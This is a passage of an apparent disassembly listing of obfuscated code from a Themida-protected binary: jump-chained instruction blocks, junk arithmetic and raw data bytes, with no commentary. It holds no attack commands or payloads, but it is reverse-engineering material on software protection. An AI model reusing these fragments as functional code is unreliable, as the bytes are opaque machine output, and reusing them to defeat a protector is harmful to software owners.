		mov	ebx, 62D22715h
		sub	ebx, 62D22715h
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56E378
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C8700h, 6824248Bh, 51F9h, 81242489h
		dd 42404h, 48F0000h, 24048324h,	2434FF04h, 81240C8Bh, 4C4h
		dd 76F6E900h, 34FF0000h, 23E95F24h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5664BB:				; CODE XREF: Themida_:0056602Aj
		pop	edx
		jmp	loc_56F9B9
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 248B2414h, 19EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5664D2:				; CODE XREF: Themida_:00569307j
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_5635F2
; ---------------------------------------------------------------------------
		dw 2D58h
		dd 528A17E2h, 30BF575Dh, 4F39165Ch, 7542F781h, 0EEE93A25h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566507:				; CODE XREF: Themida_:005634D3j
		sub	ebp, eax
		jmp	loc_5673D3
; ---------------------------------------------------------------------------


loc_56650E:				; CODE XREF: Themida_:00570D3Dj
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_563452
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4810000h, 4, 0ABE9892Ch, 5B00000Bh, 5FE9FE89h
		dd 83FFFF89h, 3C8904ECh, 2474FF24h, 243C8B04h, 0E904C483h
		dd 0B87Fh, 700AE0BBh, 2EBC15Bh,	78DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_566565:				; CODE XREF: Themida_:0056360Ej
		or	eax, 37FC78BFh
		sub	eax, 0FFFE79FBh
		add	ecx, eax
		jmp	loc_561670
; ---------------------------------------------------------------------------
aB6adSc		db 'Â6Ad;éç"',0
		dd 81D7F700h, 932146C7h, 87EEE947h, 0D801FFFFh,	5B2434FFh
		dd 8704C483h, 248B2404h, 20524h, 0B3E90000h, 1FFFF7Bh
		dd 0E8015EF5h, 0B4D2E9h, 0F5815800h, 2C650DC9h,	60ADED81h
		dd 0ED81412Dh, 0DD04C956h, 3F6BE9h, 3CEB8100h, 0E90BD72Bh
		dd 0FFFF7F39h, 840FC00Bh, 5C79h, 55E08950h, 0A6ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_5665E5:				; CODE XREF: Themida_:00569116j
		sub	ebx, 28D408B0h
		push	esi
		mov	esi, 263E1AFAh
		or	esi, 3DA64BB5h
		jmp	loc_564178
; ---------------------------------------------------------------------------
		dd 55FF889h, 474C448Bh,	126C9B35h, 30E95311h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56660F:				; CODE XREF: Themida_:0055FC73j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56743E
; ---------------------------------------------------------------------------


loc_56661C:				; CODE XREF: Themida_:0056889Aj
		sub	ebx, 28B41B88h
		or	ecx, ebx
		jmp	loc_569F4B
; ---------------------------------------------------------------------------
byte_566629	db 66h,	0FFh, 32h	; DATA XREF: Themida_:0055E030o
		dd 0FF7A6EE9h, 5BDF01FFh, 592434FFh, 3D8668h, 243C8900h
		dd 7579E9h, 4C48300h, 0E9240C87h, 639Ah
; ---------------------------------------------------------------------------


loc_566650:				; CODE XREF: Themida_:00569638j
		push	5820h
		mov	[esp], ecx
		mov	ecx, 20C9280Bh
		xchg	ebp, ecx
		neg	ebp
		xchg	ebp, ecx
		jmp	loc_55E502
; ---------------------------------------------------------------------------


loc_566668:				; CODE XREF: Themida_:005618A4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_56FD85
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFC091h
; ---------------------------------------------------------------------------


loc_56667C:				; CODE XREF: Themida_:00569254j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56E15D
; ---------------------------------------------------------------------------
byte_566697	db 0F7h			; DATA XREF: Themida_:0055DEC8o
		dd 0E99C241Ch, 0FFFF79FFh
; ---------------------------------------------------------------------------


loc_5666A0:				; CODE XREF: Themida_:0056B59Cj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55E6C2
; ---------------------------------------------------------------------------
		dd 5068C329h, 0E900001Ah, 390Eh, 91EB8158h, 0E94A2654h
		dd 5BE6h, 89241489h, 8B29E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5666D6:				; CODE XREF: Themida_:00561419j
		neg	ecx
		shr	ecx, 2
		jmp	loc_563174
; ---------------------------------------------------------------------------


loc_5666E0:				; CODE XREF: Themida_:00571149j
		sub	ah, 37h
		jmp	loc_56F338
; ---------------------------------------------------------------------------


loc_5666E8:				; CODE XREF: Themida_:0056D558j
		pop	esi
		jmp	loc_56F963
; ---------------------------------------------------------------------------
		dw 431h
		dd 79A9E924h, 0FFBEFFFFh, 0F7713F23h, 0E7E681D6h, 46256F2Fh
		dd 0B52BE9h
		db 0
; ---------------------------------------------------------------------------


loc_566709:				; CODE XREF: Themida_:00563CAFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	189Ah
		mov	[esp], ecx
		jmp	loc_56523E
; ---------------------------------------------------------------------------


loc_56671C:				; CODE XREF: Themida_:0056EC79j
		push	dword ptr [esp]
		jmp	loc_5635A6
; ---------------------------------------------------------------------------
		dd 0BBB95158h, 0E92AF655h, 29Fh, 0C281E289h, 4,	0FFFC60E9h
		dd 39E781FFh, 0E95C8162h, 646Eh, 0F66E1F6h, 6BE9CCB6h
		dd 5B000071h, 0FF8A63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566759:				; CODE XREF: Themida_:0057294Cj
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566761:				; CODE XREF: Themida_:0056C48Aj
		sub	bl, 3Ch
		dec	bl
		sub	bl, 0E5h
		jmp	loc_56736E
; ---------------------------------------------------------------------------


loc_56676E:				; CODE XREF: Themida_:0056E56Aj
		sub	ebp, 4
		jmp	loc_56AA9F
; ---------------------------------------------------------------------------
		db 0BFh, 9Fh, 10h
		dd 0EFC1020Eh, 0F9C78106h, 8149B24Dh, 53335BEFh, 710CE96Bh
		dd 5D590000h, 2B850h, 9DE90000h, 8900000Fh, 511BE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5667A6:				; CODE XREF: Themida_:00563CBCj
		pop	esi
		jmp	loc_564A45
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0EC8304C4h, 4623E904h, 545C0000h,	5624048Fh
		dd 0FFD789E9h, 4C683FFh, 4943E9h
		db 0
; ---------------------------------------------------------------------------


loc_5667CD:				; CODE XREF: Themida_:005658B9j
		sub	ecx, edx
		jmp	loc_5695CD
; ---------------------------------------------------------------------------


loc_5667D4:				; CODE XREF: Themida_:005649FFj
		mov	edi, 4BC011C4h
		jmp	loc_56088F
; ---------------------------------------------------------------------------
		dw 7B68h
		dd 0E9000010h, 0FFFFEE2Eh, 0E99CC138h, 0C30Ah
; ---------------------------------------------------------------------------


loc_5667F0:				; CODE XREF: Themida_:00568B3Ej
		neg	ebx
		not	ebx
		sub	esp, 4
		jmp	loc_5618EA
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 28B30400h, 66B32CD8h, 68241C8Bh, 6F3h
		dd 89243C89h, 0B5BD55E7h, 81261744h, 1744B1EDh,	5DEF0126h
		dd 0FF8448E9h, 5CBF68FFh, 0C1585FB8h, 5C2D07E8h, 48533441h
		dd 120D0435h, 58C18997h, 0E959CD21h, 0B0D5h
; ---------------------------------------------------------------------------


loc_56684C:				; CODE XREF: Themida_:0057191Cj
		pop	esi
		push	ebx
		jmp	loc_563126
; ---------------------------------------------------------------------------


loc_566853:				; CODE XREF: Themida_:00569500j
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], edx
		jmp	loc_56D0ED
; ---------------------------------------------------------------------------


loc_566868:				; CODE XREF: Themida_:005692C8j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 26985127h
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 1FA125A9h
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57244A
; ---------------------------------------------------------------------------


loc_566897:				; CODE XREF: Themida_:0055F635j
		or	esi, 19C71CDDh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		dec	esi
		dec	esi
		jmp	loc_569BD7
; ---------------------------------------------------------------------------


loc_5668BF:				; CODE XREF: Themida_:005659BEj
		add	ebp, ecx
		add	ebp, 18A01FC5h
		jmp	loc_56158C
; ---------------------------------------------------------------------------
		dd offset dword_4D4C68+4600h
		dd 16D6E900h, 0E6890000h, 4C681h, 0EE830000h, 24348704h
		dd 2414895Ch, 42474FFh,	5A2434FFh, 4B096852h, 24890000h
		dd 24048324h, 0B9515A04h, 26A83C91h, 0C981D9F7h, 79A2639Ch
		dd 6F9E981h, 87497C9Fh,	87DAF7D1h, 150EE9D1h, 0BA520000h
		dd 49F07FB8h, 55AD001h,	25E66D3Bh, 4055Fh, 0A0E90000h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566937:				; CODE XREF: Themida_:00560A0Aj
		mov	[esp], ecx
		push	esi
		mov	esi, 42B1551Bh
		xor	esi, 30E65BC4h
		push	edx
		mov	edx, 1FF30CABh
		shr	edx, 6
		inc	edx
		sub	edx, 0F7FAB7D8h
		and	esi, edx
		pop	edx
		jmp	loc_565C40
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4FF6624h, 34E99C24h,	54FFFF77h, 0EA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_566971:				; CODE XREF: Themida_:00572629j
		mov	bh, dh
		pop	edx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5650E4
; ---------------------------------------------------------------------------
		db 48h,	81h, 0ECh
		dd 4, 0BB241C89h, 3BC04F60h, 6E9D821h, 0B3000067h, 0B5B5E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5669AA:				; CODE XREF: Themida_:00571B24j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_56106C
; ---------------------------------------------------------------------------
		db 0F7h
aBRno1Yiqspq	db 'ÑÁ',0Ah
		db 'rNo1ÍY‰ïéPŸ',0
		dd 76B9E900h, 0ED81FFFFh, 0F3D5FDF2h, 8562E9h, 6E0C100h
		dd 77E47C2Dh, 58C101D1h, 4C181h, 4DE90000h, 8B00008Fh
		dd 0E9522424h, 0FFFFF1E9h, 81DEF75Dh, 0B4E4D1F6h, 5EF589B8h
		dd 7531CD81h, 1685092h,	89000016h, 0CFF242Ch, 2434FF24h
		dd 0FFE741E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566A35:				; CODE XREF: Themida_:005657D9j
		add	edx, ecx
		push	edi
		mov	edi, 12903EADh
		jmp	loc_55F091
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 1BA71369h, 61CFBE56h, 0B1E9675Ah, 80000032h,	0F32873C6h
		dd 9BCB805Ah, 0E951C380h, 2C5Eh, 0FF04C483h, 68582434h
		dd 593Ch, 89240489h, 0E95153E0h, 4821h,	0CEF5814Dh, 8176CF7Eh
		dd 0FC3273E9h, 0B86BE950h, 0B951FFFFh, 71075A12h, 1137F181h
		dd 0C18130E4h, 36064904h, 0F708E1C1h, 4DE181D1h, 811F6058h
		dd 0D55B7C1h, 59CF313Ah, 7206BF57h, 0E7810F68h,	0D05B9Bh
		dd 3C10E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566AC6:				; CODE XREF: Themida_:00564580j
		pop	ecx
		sub	esi, 50902228h
		add	esi, ebx
		add	esi, 50902228h
		pop	ebx
		add	esi, eax
		push	eax
		push	esi
		mov	esi, 795D069Eh
		jmp	loc_5627D9
; ---------------------------------------------------------------------------


loc_566AE4:				; CODE XREF: Themida_:0055E8FAj
		push	ebp
		mov	ebp, 68092302h
		jmp	loc_561558
; ---------------------------------------------------------------------------
byte_566AEF	db 66h			; DATA XREF: Themida_:0055E018o
		dd 0E9240C8Bh, 0FFFFF280h
dword_566AF8	dd 207F83ADh, 22840F00h, 5000003Dh, 28685556h, 5D5E9F21h
					; DATA XREF: Themida_:0055DE54o
		dd 0EDC1D5F7h, 81D5F707h, 48C95BEDh, 8BEE899Eh,	0C481242Ch
		dd 4, 2854E9h, 59C18100h, 89BEEBE9h, 0E98159CDh, 4B0050E6h
		dd 0C181E901h, 4B0050E6h, 0FFD56AE9h, 0E13059FFh, 24048B66h
		dd 0AD3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_566B51:				; CODE XREF: Themida_:005633E3j
		mov	esp, [esp]
		shl	eax, cl
		push	101Fh
		jmp	loc_5643C0
; ---------------------------------------------------------------------------
		dd 54242C89h, 68242C8Bh, 0CB3h,	374CE9h, 4EC8100h, 0E9000000h
		dd 0B862h
; ---------------------------------------------------------------------------


loc_566B7C:				; CODE XREF: Themida_:005713FEj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56F870
; ---------------------------------------------------------------------------


loc_566B90:				; CODE XREF: Themida_:0056D703j
		xor	dh, 0AFh
		and	ah, dh
		jmp	loc_56F8E0
; ---------------------------------------------------------------------------


loc_566B9A:				; CODE XREF: Themida_:00565F54j
		add	esp, 4
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		dec	esi
		add	esi, 0A540DEA9h
		push	edx
		jmp	loc_567CB1
; ---------------------------------------------------------------------------
aIXsi		db '‰ÂXé‰*',0
		dw 6800h
		dd 4799h, 0BF243C89h, 2FE44AC9h, 0FFAB8DE9h, 3B37BAFFh
		dd 4A421943h, 9F9EA81h,	0D8E9F2E8h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566BE7:				; CODE XREF: Themida_:00565226j
		sub	esp, 4
		mov	[esp], ebp
		push	1CE5h
		jmp	loc_568491
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 0B95FBDBDh,	83DDE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566C0A:				; CODE XREF: Themida_:00562B69j
		push	ebx
		mov	ebx, 5151761Ah
		sub	ebx, 20175722h
		jmp	loc_55E55B
; ---------------------------------------------------------------------------
		db 1
		dd 8B042454h, 0C4812414h, 4, 8B2434FFh,	0A1E92404h, 89000098h
		dd 58542404h, 5B2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_566C3D:				; CODE XREF: Themida_:0056504Dj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		push	eax
		mov	eax, 2C940F50h
		jmp	loc_56A982
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24348B04h, 5304C483h, 4EC81h, 14890000h, 0CF5BA24h
		dd 93E907E0h, 5500009Eh, 42474FFh, 81242C8Bh, 4C4h, 0A8C2E900h
		dd 0C381FFFFh, 57BC20DBh, 0BCB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_566C99:				; CODE XREF: Themida_:00567067j
		mov	[esp], edi
		push	ebp
		jmp	loc_570CCA
; ---------------------------------------------------------------------------
aSg_0		db '[ég²',0
		align 4
		dd 0C781D701h, 786449EBh, 8124148Bh, 4C4h, 2C78300h, 0FFF882E9h
		dd 0C9C381FFh, 522FE44Ah, 0FFC28DE9h, 8BEA81FFh, 5B2D3859h
		dd 5C241487h, 33240431h, 4312404h, 73B9E924h, 6858FFFFh
		dd 3A5Ch, 68242C89h, 3A3Ch, 4E3368h, 24248900h,	435DE956h
		dd 0C6830000h, 24348704h, 0D8C5E95Ch, 4949FFFFh, 0ACA2E9h
		dd 0E9D82900h, 0FFFF739Bh, 0A21C8468h, 0E5815D46h, 1A333345h
		dd 0F707EDC1h, 83DDE9DDh
		db 2 dup(0)
word_566D32	dw 2A68h		; DATA XREF: Themida_:0055DFB0o
		dd 89000060h, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h
		dd 8924248Bh, 93B9240Ch, 511CA422h, 59241CF7h, 0DD6CF181h
		dd 4F09E35Bh, 2434FF1Ch, 5D545559h, 4C581h, 0ED830000h
		dd 242C8704h, 0FF89D7E9h
		db 0FFh
byte_566D79	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DEA0o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_5725CD
; ---------------------------------------------------------------------------


loc_566DA3:				; CODE XREF: Themida_:00567FCAj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F826
; ---------------------------------------------------------------------------


loc_566DB9:				; CODE XREF: Themida_:00568482j
		and	bl, 0A5h
		add	bl, 0Ah
		add	bl, 0C0h
		sub	bl, 0Fh
		or	dh, bl
		pop	ebx
		jmp	loc_56BF4B
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 281CA8B8h, 0D5F79566h, 0FFCDF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566DDD:				; CODE XREF: Themida_:00560F49j
		mov	ebx, 62457615h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3C4624C0h
		push	esi
		mov	esi, 64344775h
		sub	esi, 15A03907h
		shl	esi, 4
		push	eax
		mov	eax, 1A1A62C5h
		not	eax
		shr	eax, 2
		neg	eax
		inc	eax
		sub	eax, 3CAD3070h
		add	eax, 9159F896h
		and	esi, eax
		pop	eax
		neg	esi
		inc	esi
		sub	esi, 0F6FF9F42h
		add	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 1B536499h
		push	edi
		jmp	loc_5655DD
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242C89h, 3394h
; ---------------------------------------------------------------------------


loc_566E40:				; CODE XREF: Themida_:0056CA69j
		push	edx
		jmp	loc_56970F
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 79587C9Dh, 5724048Bh, 0C781E789h, 4,	0C4BBE956h, 3D68FFFFh
		dd 8900007Bh, 0E9502404h, 8BE6h, 0FFCA885Ah, 34FF2434h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	al, 86h
		jmp	loc_56B2EA
; ---------------------------------------------------------------------------


loc_566E96:				; CODE XREF: Themida_:005718FAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55FAF5
; ---------------------------------------------------------------------------
aZ4ST		db '‡4$\)ÐéÖT',0
		dw 5000h
		dd 0A8564868h, 0EBB4E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566EBA:				; CODE XREF: Themida_:0055F868j
		pop	ebp
		xor	ecx, 0C786A49Dh
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 2DD13F42h
		sub	ebx, 3BA87162h
		sub	ebx, ebp
		add	ebx, 3BA87162h
		add	ebx, 2DD13F42h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_561480
; ---------------------------------------------------------------------------
dword_566EEC	dd 240C8B66h, 479E68h, 24348900h, 0FFCBFBE9h, 51D830FFh
					; DATA XREF: Themida_:0055DF18o
		dd 5453F8B5h, 4B8505Bh,	1000000h, 0EB8158C3h, 4, 2474FF53h
		dd 89A4E904h, 430FFFFh,	0E2E99C24h, 81FFFFC3h, 0D11FCDE9h
		dd 0DDB85058h, 0E9551C3Bh, 0FFFFC262h
; ---------------------------------------------------------------------------


loc_566F38:				; CODE XREF: Themida_:00564F7Fj
		add	esp, 4
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd offset dword_53E858+710h
		dw 0E900h
		dd 6D72h, 240C895Ch, 0FFDEF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F61:				; CODE XREF: Themida_:00568350j
		push	ebp
		jmp	loc_56FFAC
; ---------------------------------------------------------------------------


loc_566F67:				; CODE XREF: Themida_:0055FB32j
		add	ecx, 6DF2755Bh
		xor	esi, ecx
		pop	ecx
		push	494Eh
		mov	[esp], ebx
		mov	ebx, 23141590h
		add	edi, 23093FB9h
		sub	edi, ebx
		sub	edi, 23093FB9h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_560F61
; ---------------------------------------------------------------------------


loc_566F94:				; CODE XREF: Themida_:0056B0AAj
		mov	esp, [esp]
		jmp	loc_567F20
; ---------------------------------------------------------------------------
		dd 0BA525B54h, 4, 607CC381h, 0D3014CA3h, 607CEB81h, 565A4CA3h
		dd 4BF57h, 0FE890000h, 8BF3295Fh, 1EE92434h, 50000099h
		dd 0FFA75CE9h, 807FB1FFh, 4E915C1h, 0B5FFFFF4h,	58E50061h
		dd 0E959EA88h, 1F26h, 81E38953h, 4C3h, 4C38300h, 0BB0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_566FF5:				; CODE XREF: Themida_:00568BD0j
		pop	esi
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		xor	eax, ecx
		push	883h
		mov	[esp], eax
		push	18E4h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5676B7
; ---------------------------------------------------------------------------


loc_567025:				; CODE XREF: Themida_:0056A72Cj
		add	bl, 3
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_56FB84
; ---------------------------------------------------------------------------
		dd 4C781h, 39680000h, 8900002Bh, 0E9502434h, 0FFFF85A9h
		dd 0BDA4C381h, 8AE9A3D7h
		db 1Ch,	2 dup(0)
byte_567053	db 0FFh			; DATA XREF: Themida_:0055DEFCo
		dd 148B2434h, 4EC8124h,	0E9000000h, 0FFFFF668h
; ---------------------------------------------------------------------------


loc_567064:				; CODE XREF: Themida_:00567E7Ej
		sub	esp, 4
		jmp	loc_566C99
; ---------------------------------------------------------------------------


loc_56706C:				; CODE XREF: Themida_:0056795Ej
		push	dword ptr [edi+eax*4]
		push	eax
		jmp	loc_56D232
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 5C241C87h, 720E9h
		db 0
; ---------------------------------------------------------------------------


loc_567081:				; CODE XREF: Themida_:00561796j
		sub	edi, 362C69B0h
		jmp	loc_55E676
; ---------------------------------------------------------------------------


loc_56708C:				; CODE XREF: Themida_:00562387j
		and	ch, 14h
		jmp	loc_56E286
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF96D1h, 24148B54h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_560313
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 98h
		dd 0E95E6F48h, 3219h, 8924248Bh, 0D2E92414h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5670BF:				; CODE XREF: Themida_:0056E83Bj
		sub	ebx, 23A5666h
		sub	ebx, esi
		push	ebp
		mov	ebp, 179A15AFh
		jmp	loc_565DBA
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 44E69041h, 5059C801h, 42474FFh, 107FE958h, 0D8000000h
		dd 9C048904h, 0FF7117E9h, 2474FFFFh, 48F5E04h, 8259E924h
		dd 0F8280000h, 6C28E9h
		db 0
byte_567105	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0055DEBCo
		dd 0FF6F92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56710D:				; CODE XREF: Themida_:0056B31Fj
		shr	ebp, 4
		push	ebx
		mov	ebx, 6477C220h
		xor	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		jmp	loc_5694BE
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C9h
		dd 1464EE7h, 0C825C181h, 0CB681501h, 89000079h,	9AE92404h
		dd 890000A2h, 0A5F35EF1h, 0E9386203h, 0FFFFE3B9h, 815FFA31h
		dd 3F7982EDh, 81D50164h, 4ECh, 24148900h, 0C281E289h, 4
		dd 4EA81h, 0A9E90000h, 1FFFF70h, 148758C2h, 0B8505C24h
		dd 60402145h, 3E8C140h,	85006F35h, 0E9C70117h, 0FFFFED7Ah
		dd 1C3378BBh, 0EBC1437Dh, 0AF04E906h, 0F529FFFFh, 4B8505Eh
		dd 29FD1856h, 0E82958C5h, 2434FF5Dh, 0FF8A6EE9h, 22DFFh
		dd 43680000h, 0E9000043h, 0B7B2h, 6A11E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5671C6:				; CODE XREF: Themida_:0056C878j
		not	ebp
		not	ebp
		not	ebp
		shr	ebp, 4
		jmp	loc_56E1EF
; ---------------------------------------------------------------------------
aTsN		db 'Téέ',0
		align 2
		dw 8966h
		dd 0BCE9240Ch
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671E3:				; CODE XREF: Themida_:00562B0Dj
		push	esi
		mov	esi, 3E342274h
		sub	esi, 39420EC3h
		dec	esi
		push	eax
		mov	eax, 4F213ACh
		jmp	loc_567D39
; ---------------------------------------------------------------------------
		db 58h
		dd 50F17BB9h, 5AD101E8h, 791DF181h, 0CF015E5Bh,	6AE78159h
		dd 4F51B407h, 0F785EF81h, 0F82988F3h, 0E9243C8Bh, 6D7Ch
; ---------------------------------------------------------------------------


loc_567224:				; CODE XREF: Themida_:0055E6DEj
		add	ebx, 19B62AC7h
		add	ebx, 3F790B41h
		jmp	loc_5663D5
; ---------------------------------------------------------------------------


loc_567235:				; CODE XREF: Themida_:0056A431j
		mov	eax, 378C23E3h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_572093
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89241C89h, 4C381E3h, 0E9000000h, 6573h
; ---------------------------------------------------------------------------


loc_567260:				; CODE XREF: Themida_:0056B285j
		pop	edi
		jmp	loc_56BBE3
; ---------------------------------------------------------------------------
		dw 0E805h
		dd 2903E362h, 48F568E8h, 2C890000h, 3F38BD24h, 0E0E97825h
		dd 80FFFFAFh, 0DD0060C3h, 0B1A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_567289:				; CODE XREF: Themida_:0056C6CFj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 458179Ch
		mov	edx, edi
		pop	edi
		jmp	loc_57017C
; ---------------------------------------------------------------------------
		db 0B8h, 85h, 5
		dd 0DB2D3294h, 0D2EDDA5h, 6110077Dh, 32DFE9h, 134ABA00h
		dd 0D5013129h, 0D92EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672C6:				; CODE XREF: Themida_:005679EBj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56C4F9
; ---------------------------------------------------------------------------
byte_5672D5	db 0FFh, 74h, 24h	; DATA XREF: Themida_:0055DF28o
		dd 2434FF04h, 5124048Bh, 0C181E189h, 4,	4EC81h,	2C890000h
		dd 7F8BBD24h, 0C14D081Bh, 0EDD103EDh, 0FFCA33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567301:				; CODE XREF: Themida_:0055FFF1j
		xchg	ebp, [esp]
		pop	esp
		xor	edx, edx
		push	ebx
		jmp	loc_568C8C
; ---------------------------------------------------------------------------
aISgm		db '\‰$$égŒ',0
		align 2
a13SC		db '1<$3<$é —',0
		dd 40500h, 43E90000h, 8FFFFFDEh, 4812404h, 424h, 0C1815900h
		dd 4, 4BD55h, 0F8E90000h, 8100004Dh, 4C1h, 9B97E900h, 89660000h
		dd 665D66EBh, 0FFFFEB81h, 0FBE94366h, 81000044h, 590B81EEh
		dd 9A4AE962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56736E:				; CODE XREF: Themida_:00566769j
		xor	ah, bl
		pop	ebx
		and	ah, 0B5h
		shl	ah, 4
		sub	ah, 0F5h
		add	bl, 0A1h
		add	bl, ah
		sub	bl, 0A1h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56A717
; ---------------------------------------------------------------------------
		dd offset dword_4A45B8+20B0h
		align 10h
		dd 54240C89h, 0E7895759h, 4C781h, 4AE90000h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5673A3:				; CODE XREF: Themida_:0057044Bj
		add	edx, 744E758Eh
		jmp	loc_563C65
; ---------------------------------------------------------------------------
